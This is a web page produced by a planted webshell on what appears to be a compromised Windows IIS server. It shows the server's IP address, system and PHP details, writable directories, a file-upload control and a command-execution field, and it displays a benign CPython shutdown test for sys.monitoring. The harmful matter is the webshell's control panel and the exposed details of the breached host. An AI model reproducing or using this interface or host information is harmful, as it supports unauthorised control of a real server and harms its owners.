403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/_test_monitoring_shutdown.py
#!/usr/bin/env python3

# gh-115832: An object destructor running during the final GC of interpreter
# shutdown triggered an infinite loop in the instrumentation code.

import sys

class CallableCycle:
    def __init__(self):
        self._cycle = self

    def __del__(self):
        pass

    def __call__(self, code, instruction_offset):
        pass

def tracefunc(frame, event, arg):
    pass

def main():
    tool_id = sys.monitoring.PROFILER_ID
    event_id = sys.monitoring.events.PY_START

    sys.monitoring.use_tool_id(tool_id, "test profiler")
    sys.monitoring.set_events(tool_id, event_id)
    sys.monitoring.register_callback(tool_id, event_id, CallableCycle())

if __name__ == "__main__":
    sys.exit(main())

Youez - 2016 - github.com/yon3zu
LinuXploit